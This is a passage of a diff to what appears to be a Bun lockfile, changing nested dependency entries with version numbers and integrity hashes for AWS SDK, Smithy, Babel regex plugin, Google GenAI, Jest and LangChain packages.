- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
- "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Ma2XC7VS9aV77+clSFylVUnPZRindhB7BbmYiNOdr+CHt/kZNJoPP0cd3QxCnCFyPXC4eybmyE98phEHkqZ5Jw=="],
- "@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
- "@aws-sdk/nested-clients/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="],
- "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
- "@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="],
- "@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream": ["@smithy/util-stream@4.5.7", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.7", "@smithy/node-http-handler": "^4.4.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Uuy4S5Aj4oF6k1z+i2OtIBJUns4mlg29Ph4S+CqjR+f4XXpSFVgTCYLzMszHJTicYDBxKFtwq2/QSEDSS5l02A=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+ "@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
+
+ "@google/genai/google-auth-library/gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
+
"@istanbuljs/load-nyc-config/find-up/locate-path/p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="],
"@jest/expect/expect/jest-matcher-utils/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
- "@jest/fake-timers/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="],
-
"@jest/reporters/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="],
"@jest/reporters/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
@@ -7967,6 +7825,8 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection/@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.1.1", "", {}, "sha512-RcLam17LdlbSOSp9VxmUu1eI6Mwxp+OwhD2QhiSNmNCzoDb0EeUXTD2n/WbcnrAYMGlmf05th6QYq23VqvJqpA=="],
@@ -7975,6 +7835,10 @@
